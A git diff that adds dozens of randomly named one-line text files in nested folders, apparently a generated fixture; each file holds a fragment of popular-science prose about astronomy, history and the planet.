diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_naorjtbwlhypuutmdfbwbtc.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_naorjtbwlhypuutmdfbwbtc.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_naorjtbwlhypuutmdfbwbtc.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_ovvrdnimmwslfbpghtw.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_ovvrdnimmwslfbpghtw.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_ovvrdnimmwslfbpghtw.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_pwtcwhrphllinjuhpaargrjg.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_pwtcwhrphllinjuhpaargrjg.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_pwtcwhrphllinjuhpaargrjg.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_sbapxwmmdbbvevuck.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_sbapxwmmdbbvevuck.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_sbapxwmmdbbvevuck.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_txdbspxlcspgqbclbtx.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_txdbspxlcspgqbclbtx.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_txdbspxlcspgqbclbtx.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_vldsccnhwl.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_vldsccnhwl.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_vldsccnhwl.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_zjglpojxjtdai.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_zjglpojxjtdai.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_zjglpojxjtdai.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_emyshukwjbjnjlt.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_emyshukwjbjnjlt.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_emyshukwjbjnjlt.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_fntmlcqxzutootrhvpyiw.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_fntmlcqxzutootrhvpyiw.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_fntmlcqxzutootrhvpyiw.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_hktfzocbqzhi.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_hktfzocbqzhi.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_hktfzocbqzhi.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_ihwjdqttgsbyqxpjlgbrwzzn.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_ihwjdqttgsbyqxpjlgbrwzzn.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_ihwjdqttgsbyqxpjlgbrwzzn.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_iietohncdl.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_iietohncdl.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_iietohncdl.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_jzgeoghld.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_jzgeoghld.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_jzgeoghld.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_krqftlet.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_krqftlet.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_krqftlet.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_lgyyjwal.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_lgyyjwal.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_lgyyjwal.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_oavvbizpfqwbghbl.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_oavvbizpfqwbghbl.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_oavvbizpfqwbghbl.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_ujtxnippn.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_ujtxnippn.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_ujtxnippn.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_uqvzhjnbkpqrxxgqimxbwaac.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_uqvzhjnbkpqrxxgqimxbwaac.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_uqvzhjnbkpqrxxgqimxbwaac.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_uumzuoieaxnnimvsqtpea.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_uumzuoieaxnnimvsqtpea.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_uumzuoieaxnnimvsqtpea.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_xcywqawvomgwkabbf.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_xcywqawvomgwkabbf.txt
new file mode 100644
index 0000000..2c4c7ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/file_xcywqawvomgwkabbf.txt
@@ -0,0 +1 @@
+solar interior are temporarily banked, sunlight being generated in our time partly by slow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/bkupzwxydvyfmonmitkhwlhe.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/bkupzwxydvyfmonmitkhwlhe.txt
new file mode 100644
index 0000000..c793c43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/bkupzwxydvyfmonmitkhwlhe.txt
@@ -0,0 +1 @@
+billion years ago. We humans also have a palpable devotion to exchanging segments of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/cgctaohkcqu.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/cgctaohkcqu.txt
new file mode 100644
index 0000000..f229e89
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/cgctaohkcqu.txt
@@ -0,0 +1 @@
+there are tens of thousands of nuclear weapons. By the ninth decade of the twentieth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/dcqwswzhwlkevcbjvspxiwx.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/dcqwswzhwlkevcbjvspxiwx.txt
new file mode 100644
index 0000000..0a461cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/dcqwswzhwlkevcbjvspxiwx.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_axdxhnoi.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_axdxhnoi.txt
new file mode 100644
index 0000000..32f2769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_axdxhnoi.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_gcyvsrtlukusgp.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_gcyvsrtlukusgp.txt
new file mode 100644
index 0000000..32f2769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_gcyvsrtlukusgp.txt
@@ -0,0 +1 @@
+grandchildren, to understand and protect the complex life-support systems of our planet?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_inkiilmcvumljqkpezne.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_inkiilmcvumljqkpezne.txt
new file mode 100644
index 0000000..32f2769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_inkiilmcvumljqkpezne.txt
@@ -0,0 +1 @@
+grandchildren, to understand and protect the complex life-support systems of our planet?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_jjnvhcciknucwmii.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_jjnvhcciknucwmii.txt
new file mode 100644
index 0000000..32f2769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_jjnvhcciknucwmii.txt
@@ -0,0 +1 @@
+grandchildren, to understand and protect the complex life-support systems of our planet?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_ulgopaxxzdmizjrkp.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_ulgopaxxzdmizjrkp.txt
new file mode 100644
index 0000000..32f2769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_ulgopaxxzdmizjrkp.txt
@@ -0,0 +1 @@
+grandchildren, to understand and protect the complex life-support systems of our planet?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_wlzwgjhotitigmt.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_wlzwgjhotitigmt.txt
new file mode 100644
index 0000000..32f2769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_wlzwgjhotitigmt.txt
@@ -0,0 +1 @@
+grandchildren, to understand and protect the complex life-support systems of our planet?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_yaijeozmrekxuckstzxilkui.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_yaijeozmrekxuckstzxilkui.txt
new file mode 100644
index 0000000..32f2769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_yaijeozmrekxuckstzxilkui.txt
@@ -0,0 +1 @@
+grandchildren, to understand and protect the complex life-support systems of our planet?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_zmcdfdrosszyrsseikeg.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_zmcdfdrosszyrsseikeg.txt
new file mode 100644
index 0000000..32f2769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_zmcdfdrosszyrsseikeg.txt
@@ -0,0 +1 @@
+grandchildren, to understand and protect the complex life-support systems of our planet?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_zytijuis.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_zytijuis.txt
new file mode 100644
index 0000000..32f2769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_zytijuis.txt
@@ -0,0 +1 @@
+grandchildren, to understand and protect the complex life-support systems of our planet?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_zzojyggecajzvgtnccyjhb.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_zzojyggecajzvgtnccyjhb.txt
new file mode 100644
index 0000000..32f2769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/file_zzojyggecajzvgtnccyjhb.txt
@@ -0,0 +1 @@
+grandchildren, to understand and protect the complex life-support systems of our planet?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/icfgpoeykydwomn.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/icfgpoeykydwomn.txt
new file mode 100644
index 0000000..1b8505a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/icfgpoeykydwomn.txt
@@ -0,0 +1 @@
+within the Straits of Madagascar, and on past the southern tip of India they sailed, to one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/ioowsfwlkq.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/ioowsfwlkq.txt
new file mode 100644
index 0000000..16cd375
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/ioowsfwlkq.txt
@@ -0,0 +1 @@
+entered the Martian atmosphere on radio command and correctly oriented ablation shields,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/iykftofxsa.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/iykftofxsa.txt
new file mode 100644
index 0000000..d0ebd7c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/iykftofxsa.txt
@@ -0,0 +1 @@
+Eratosthenes, he was the first person to measure the size of another planet. He was also the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/keuvrdiv.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/keuvrdiv.txt
new file mode 100644
index 0000000..1e2a63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/keuvrdiv.txt
@@ -0,0 +1 @@
+numbers and that have now vanished utterly.* Far more species have become extinct in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/kosxvmoqaxaaxqszfvrjta.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/kosxvmoqaxaaxqszfvrjta.txt
new file mode 100644
index 0000000..b6eab3f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/kosxvmoqaxaaxqszfvrjta.txt
@@ -0,0 +1 @@
+attention to the Sun and the Moon and the stars. Other devices based on similar ideas are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/ldtspzrabyirq.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/ldtspzrabyirq.txt
new file mode 100644
index 0000000..6064c9d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/ldtspzrabyirq.txt
@@ -0,0 +1 @@
+was ‘Alpha.’ He was an astronomer, historian, geographer, philosopher, poet, theater critic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/lihgxdttymylkmjrx.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/lihgxdttymylkmjrx.txt
new file mode 100644
index 0000000..6ffe953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/lihgxdttymylkmjrx.txt
@@ -0,0 +1 @@
+A disdain for the practical swept the ancient world. Plato urged astronomers to think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/mjhrurxdmt.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/mjhrurxdmt.txt
new file mode 100644
index 0000000..d5c7e73
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/mjhrurxdmt.txt
@@ -0,0 +1 @@
+took about fifteen years to complete, a testament to the civil engineering of the day and an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/nnejjwlbkhgtij.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/nnejjwlbkhgtij.txt
new file mode 100644
index 0000000..89113b6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/nnejjwlbkhgtij.txt
@@ -0,0 +1 @@
+cultures and languages of the world. They sent agents abroad to buy up libraries.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/nxqcjgep.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/nxqcjgep.txt
new file mode 100644
index 0000000..d2d3862
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/nxqcjgep.txt
@@ -0,0 +1 @@
+technical societies require an unlikely set of coincidences - just as the evolution of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/qitvnmojnxzpwnfkafnii.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/qitvnmojnxzpwnfkafnii.txt
new file mode 100644
index 0000000..78ca80e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/qitvnmojnxzpwnfkafnii.txt
@@ -0,0 +1 @@
+the secret of immortality. Sometimes gold was hidden in a wand with a false bottom, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/rryezalxxwa.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/rryezalxxwa.txt
new file mode 100644
index 0000000..e548fcf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/rryezalxxwa.txt
@@ -0,0 +1 @@
+hundreds of thousands of holes before friction with the interior of our planet stopped the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/rtscimlsygi.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/rtscimlsygi.txt
new file mode 100644
index 0000000..cb5a806
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/rtscimlsygi.txt
@@ -0,0 +1 @@
+were only six planets was because there were only five regular solids, and that these solids,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/slbkfgzxztszocxqeacr.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/slbkfgzxztszocxqeacr.txt
new file mode 100644
index 0000000..4e6f0eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/slbkfgzxztszocxqeacr.txt
@@ -0,0 +1 @@
+bright star Sirius to have been the night before. The hole was effectively* 1/28,000 the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/sphyeznryfwojohb.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/sphyeznryfwojohb.txt
new file mode 100644
index 0000000..2025178
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/sphyeznryfwojohb.txt
@@ -0,0 +1 @@
+grudgingly funded. In our ignorance, we continue to push and pull, to pollute the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/tgdoqazhxedmyhgsgryhs.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/tgdoqazhxedmyhgsgryhs.txt
new file mode 100644
index 0000000..1089c75
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/tgdoqazhxedmyhgsgryhs.txt
@@ -0,0 +1 @@
+remnants of planets once full of life and now airless and ocean-free, bathed in a wraithlike
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/tprlrgoaznjnq.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/tprlrgoaznjnq.txt
new file mode 100644
index 0000000..aa73acd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/tprlrgoaznjnq.txt
@@ -0,0 +1 @@
+so much area on the surface of the sphere, there is no edge to this universe - it is finite but
\ No newline at end of file
